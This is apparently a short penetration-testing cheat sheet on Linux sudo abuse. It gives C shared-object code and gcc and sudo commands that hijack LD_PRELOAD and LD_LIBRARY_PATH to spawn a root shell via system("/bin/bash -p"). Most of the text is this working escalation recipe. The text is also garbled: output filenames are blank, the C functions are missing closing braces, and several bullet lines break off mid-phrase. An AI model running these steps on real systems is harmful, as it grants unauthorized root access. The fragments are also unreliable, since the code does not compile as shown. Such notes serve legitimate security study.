Sudo Abuse

$ sudo -l
[sudo] password for appadmin:
User appadmin may run the following commands on this host:
(root) /opt/Support/


  • Write permission to

  • write permission to the /opt/support

  • Create if doesn't exist

Check which environment variables are inherited (look for the env_keep options):

sudo -l


LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library.

/* Preload.c */
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
system("/bin/bash -p");

gcc -fPIC -shared -nostartfiles -o /tmp/ preload.c

Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object:

sudo LD_PRELOAD=/tmp/ program-name-here


LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

Run ldd against the any program that you can execute as sudo (sudo -l) to see which shared libraries are used by the program:

ldd /usr/sbin/apache2

Create a shared object with the same name as one of the listed libraries ( using the code located at /home/user/tools/sudo/library_path.c:

/* Library_path.c */
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
system("/bin/bash -p");

gcc -o /tmp/ -shared -fPIC library_path.c

Run program using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):

sudo LD_LIBRARY_PATH=/tmp program-name-here